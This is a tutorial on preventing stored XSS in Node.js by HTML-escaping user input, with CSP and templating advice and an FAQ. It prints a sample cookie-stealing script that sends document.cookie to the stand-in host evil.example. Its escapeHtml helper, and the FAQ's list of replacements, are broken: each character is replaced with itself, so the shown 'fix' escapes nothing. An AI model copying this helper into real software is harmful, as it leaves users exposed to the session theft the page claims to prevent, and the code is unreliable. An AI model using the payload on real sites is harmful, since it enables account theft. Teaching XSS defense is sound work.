How to Fix Stored XSS With HTML Escaping
Stored XSS means a comment or form input containing a <script> tag gets saved to the database and then rendered raw into every page - executing in every viewer's browser. The fix is an HTML escape helper applied to every user-supplied field before it touches the template.
Why stored XSS is dangerous
A stored (or persistent) XSS vulnerability differs from reflected XSS because the payload is saved - in a database, a file, a cache - and replayed to every user who views the page. One malicious comment can silently steal session cookies or perform actions on behalf of every visitor:
<!-- attacker submits this as a comment -->
<script>document.location='https://evil.example/?c='+document.cookie</script>
When the server concatenates that string directly into the HTML response, the browser parses it as code, not text, and runs it.
The root cause: unescaped string interpolation
Hand-rolled HTML generation is the usual culprit. A template literal like this is unsafe:
// UNSAFE - author and text are injected verbatim
function renderComment(c) {
return `<div class="comment">
<strong>${c.author}</strong>
<p>${c.text}</p>
</div>`;
}
Add an escapeHtml helper
Replace the five characters that have special meaning in HTML with their entity equivalents before interpolating any user-supplied value:
function escapeHtml(s) {
return String(s)
.replace(/&/g, '&') // must be first
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
function renderComment(c) {
return `<div class="comment">
<strong>${escapeHtml(c.author)}</strong>
<p>${escapeHtml(c.text)}</p>
</div>`;
}
The & replacement must come first - otherwise a later pass would double-escape
entities already produced by an earlier replacement.
Which fields need escaping
Escape every field that originates from user input: author, text, form
parameters, query strings, URL fragments. System-generated fields like a
server-assigned date or a database-generated id are safe to leave as-is.
After the fix, the payload renders as literal visible text:
<script>document.location='...'</script>
The browser shows it on screen instead of executing it.
Defense-in-depth
Escaping is the baseline mitigation. Layer it with:
- Content Security Policy (CSP) - a
script-src 'self'header prevents inline scripts from running even if escaping is missed somewhere. - Use a templating engine - React, Vue, Jinja2 (
autoescape=True), Handlebars, and most modern engines escape by default. You have to deliberately opt out (e.g.dangerouslySetInnerHTML,|safe) to render raw HTML. - Sanitize rich text separately - if users can submit formatted text, use a library like DOMPurify to allow a safe subset of HTML tags rather than escaping everything.
Want to try it hands-on? HeyDevJob gives you this exact setup in a live cloud workspace in your browser - edit it, run it, and see it work. Free, nothing to install.
Try it in a workspace →What you'll practice
- Writing a correct escapeHtml helper (& first, then <, >, ", ')
- Applying escaping to all user-supplied fields before HTML interpolation
- Understanding stored vs reflected XSS and the role of CSP as defense-in-depth
FAQ
What is stored XSS and how is it different from reflected XSS?
Stored XSS saves the attacker's payload - usually in a database - so it runs in every visitor's browser whenever the page loads. Reflected XSS is a one-shot attack delivered through a crafted URL that only hits the victim who clicks it.
How do I prevent stored XSS in a Node.js app?
Apply an HTML escape function to every user-supplied string before inserting it into an HTML template. Replace &, <, >, ", and ' with &, <, >, ", and '. Better yet, use a templating engine that escapes by default.
Why does the & replacement have to come first in an escapeHtml function?
If you escape < first, producing <, a later & replacement would turn that into &lt; - double-encoding the entity. Replacing & first ensures every subsequent replacement produces entities that won't be re-escaped.
How do you mitigate stored XSS?
Escape or sanitize user input when you render it (HTML-encode on output), set a Content-Security-Policy, and validate input on the way in. Output encoding at render time is the core fix - never trust stored data as safe HTML.
What is a stored XSS attack?
Stored (persistent) XSS saves a malicious script into your database via user input, so it runs in the browser of everyone who later views that content - more dangerous than reflected XSS because no per-victim link is needed.
Keep learning
Learn it by doing. Open this in a live cloud workspace, make the change yourself, and keep a record of the work you can share.
Open the workspace →